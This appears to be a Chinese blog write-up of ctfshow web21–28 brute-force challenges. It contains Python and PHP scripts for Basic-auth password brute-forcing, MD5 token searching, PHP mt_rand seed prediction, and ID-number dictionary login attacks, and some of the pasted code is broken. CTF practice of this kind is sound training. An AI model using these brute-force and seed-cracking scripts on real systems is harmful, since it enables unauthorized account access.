当前位置:网站首页>[wp]ctfshow-web入门-爆破
[wp]ctfshow-web入门-爆破
2022-07-25 19:27:00 【_小飒】
web21 前缀+base64加密爆破
burp
账号密码都写aaa
拦截获得
YWFhOmFhYQ==
进行爆破
注意这里要取消url-encode
python
我写的
import requests
import base64
url="http://0a4af429-72ef-40f3-85aa-7a10ff574500.challenge.ctf.show"
f=open("pass.txt","r")
for i in f:
test=base64.b64encode(('admin:'+i[:-1]).encode()).decode()
test='Basic '+test
header={'Authorization':test}
r=requests.get(url,headers=header)
if '{' in r.text:
print(r.text)
break
f.close()
官方wp脚本:
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
web22
题目坏掉了,网上找wp也没有过去的解法。
看下官方解法
http://phpinfo.me/domain/
看到vip这个

我感觉使用字典,用burp或者编写脚本也可以
web23
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
写脚本
python:
还是太菜了,写的脚本总是报错(把条件看错了报错、除数可能为0报错)
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIZKLMNOPQRSTUVWXYZ1234567890'
#1位
for i1 in a:
md5new=(hashlib.md5((i1).encode())).digest().hex()
# print(int(md5new[13:14],16))
if md5new[1:2]==md5new[14:15] and md5new[14:15]==md5new[17:18] and int(md5new[14:15],16)*3==int(md5new[31:32],16):
print(il)
break
#2位
for i1 in a:
for i2 in a:
md5new=(hashlib.md5((i1+i2).encode())).digest().hex()
if md5new[1:2]==md5new[14:15] and md5new[14:15]==md5new[17:18] and md5new[1:2]!='0':
if int(md5new[14:15],16)*2+int(md5new[17:18],16)/int(md5new[1:2],16)==int(md5new[31:32],16):
print(i1+i2)
print(md5new)
break
php脚本(感觉这种情况,直接复制原题改php脚本比python快且不容易弄错,因为知道2位可以成功,只写了2位爆破)
<?php
$str = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
$n = strlen($str);
for($i1=0;$i1<$n;$i1++){
for($i2=0;$i2<$n;$i2++){
$tok=$str[$i1].$str[$i2];
// echo $tok;
$token = md5($tok);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $tok;
echo "<br>";
break;
}
}
}
}
运行结果:ZE或3j
看下官方wp
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]
没有缩进+满足一个条件就可以了吗???半成品
做24题时发现wp放错地方贴到这里来
<?php
//Firebasky
error_reporting(0);
$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";//字典
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
// echo md5($token)."\n";
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token,
14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token,
14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token,
31,1))){
echo "success"."\n";
echo $a[$i].$a[$j];
exit(0);
}
}
}
} ?
>
web24
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
mt_rand 这个函数,在种子固定的情况下,每次产生的随机数顺序也是固定的。可以参考我buuctf [GWCTF 2019]枯燥的抽奖这题wp里面有详尽的讲解
[wp][GWCTF 2019]枯燥的抽奖
直接本地运行(运行结果1155388967)
<?php
mt_srand(372619038);
echo intval(mt_rand());
另外,我的wp里也写过随机数的值和php版本相关,这题需要php 7.1+的环境
看下官方wp
好像给错了解答,这题里面放的是上一题的wp
web25
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
由源码可知,当r=0时可以获得$rand(我做的时候是377478015),使用./php_mt_seed 377478015 377478015得到种子(1730906849 1850650948 3462310327)
参考[wp][GWCTF 2019]枯燥的抽奖
7.1+环境下运行下面程序(这里mt_rand()是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() )
<?php
//1730906849 1850650948 3462310327
mt_srand(1730906849);
echo intval(mt_rand());
echo "<br>";
echo mt_rand()+mt_rand();

web26
使用burp拦截直接就获得flag,懵逼
官方wp:使用Chrome浏览器抓包,进行暴力破解密码
web27
写了半天的脚本:
import requests
import urllib.parse
import time
url="http://c4a4444b-99d5-46b6-a378-024d52c3b8a9.challenge.ctf.show/info/checkdb.php"
namelist=['高先伊','嵇开梦','郎康焕','元羿谆','祁落兴']
#----------------生日字典---------------------------------------------
days=[]
for i in range(1,10):
days.append('0'+str(i))
mos=days[:]
add=['10','11','12']
mos=mos+add
# print(mos)
for i in range(10,32):
days.append(str(i))
# print(days)
shengri=[]
for year in range(1990,2010):
for mo in mos:
for day in days:
shengri.append(str(year)+mo+day)
# print(shengri)
#-----------------------身份证字典---------------------------------
def code(n1,n2):
shengfen=[]
for i in shengri:
shengfen.append(n1+i+n2)
return shengfen
gao_code=code('621022','5237')
ji_code=code('360730','7653')
lang_code=code('522601','8092')
yuan_code=code('451023','3419')
qi_code=code('410927','5570')
cod=[]
cod.append(gao_code)
cod.append(ji_code)
cod.append(lang_code)
cod.append(yuan_code)
cod.append(qi_code)
#-------------------------爆破--------------------------------------
for i in range(5):
print(namelist[i])
for j in cod[i]:
k=urllib.parse.quote(namelist[i])
data={'a':namelist[i],'p':j}
r=requests.post(url,data=data)
# print(r.text)
if "error" not in r.text:
print(j)
break
time.sleep(0.06)
得到高先伊
621022199002015237
使用学号和身份证号码登录成功获得flag
官方wp,这只是生成了个生日字典?
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);
补充一个burp的做法
我使用火狐不行得使用谷歌浏览器抓包

总结,这种爆破题还是burp快
补充2,网上看到其他师傅有用身份证的有效性进行爆破
写脚本爆破出所有可能的身份证号当作字典
第十八位数字(校验码)的计算方法为:
* 1.将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为:7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
* 2.将这17位数字和系数相乘的结果相加与11进行相除。
* 3.余数0 1 2 3 4 5 6 7 8 9 10这11个数字,其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2。
* 4.例如 余数为 0 , 则身份证最后一位就是1
* 余数为 2 , 则身份证最后一位就是罗马数字X
* 余数为 10 , 则身份证最后一位就是2
<?php
$a='621022';
$b='5237';
function youxiao($sfz){
$sum=0;
$xym=array(7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2);
//将数字变量sfz里的所有字符分割在str里
$sfz=str_split($sfz,1);
for($i=0;$i<17;$i++){
$sum+=$xym[$i]*$sfz[$i];
}
if($sum%11==5){
return true;
}
else{
return false;
}
}
for($year=1990;$year<=2000;$year++){
for($month=1;$month<=12;$month++){
if($month<10){
$month='0'.$month;
}
for($day=1;$day<=31;$day++){
if($day<10){
$day='0'.$day;
}
$birthday=$year.$month.$day;
$sfz=$a.$birthday.$b;
//利用身份证最后一位校验位进行身份证号有效性的判断
if(youxiao($sfz)){
echo $sfz.'<br>';
}
}
}
}
?>
参考:https://blog.csdn.net/HkD01L/article/details/125381974
web28
刚开始爆破没成功,看了官方的hint
“通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可”
进行暴破,漫长的过程最后payload“/72/20/”
边栏推荐
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(6)开题答辩PPT
- Talk about 15 tips of SQL optimization
- 哈希无向图可视化
- Improvement of wechat applet 26 playing music page ②
- GBASE 8s UDR内存管理_02_mi_dalloc
- Fearless of high temperature and rainstorm, how can Youfu network protect you from worry?
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(4)开题报告
- Small program completion work wechat campus maintenance application small program graduation design finished product (2) small program function
- 【小程序开发】宿主环境详解
- How to ensure the consistency of double write between database and cache?
猜你喜欢

高并发下如何保证数据库和缓存双写一致性?

Wechat campus maintenance application applet graduation design finished product of applet completion work (3) background function

Wechat campus maintenance application applet graduation design finished product of applet completion work (8) graduation design thesis template

Istio exposes applications to the Internet

Old wine in new bottles -- sample analysis of recent apt32 (sea Lotus) organizational attacks

Flutter tips: optimizing the buildcontext you use

Leetcode skimming: dynamic programming 07 (different binary search trees)

Have you ever seen this kind of dynamic programming -- the stock problem of state machine dynamic programming (Part 1)

Why learn service grid istio

What is the application value of MES management system
随机推荐
GBASE 8s UDR内存管理_01_mi_alloc
Imperial cms7.5 imitation "question and answer library" question and answer learning platform website source code with mobile version
安全基础6 ---漏洞复现
Network packet multi-layer transmission demonstration
Network data request for wechat applet development
Internal network planning and design of Yingcheng hospital
新瓶装老酒--近期APT32(海莲花)组织攻击活动样本分析
鸿蒙-大喵计算画板-视频
【阅读笔记】《深度学习》第一章:引言
Wechat campus maintenance and repair applet graduation design finished product (5) assignment of applet completion work
Wechat campus maintenance and repair applet graduation design finished product of applet completion work (4) opening report
GBASE 8s UDR内存管理_02_mi_dalloc
哈希无向图可视化
Basic practice of Blue Bridge Cup - shape retrieval of matrix (C language)
[iniparser] simple use of the project configuration tool iniparser
Kcon 2022 highlights and agenda revealed!
Scala foundation [set 01]
Full scale and Xuan of C key
高端旗舰投影仪选购指南:当贝X3 Pro、当贝F5观影更沉浸!
基于PHP的中非南南合作信息交流平台网站建设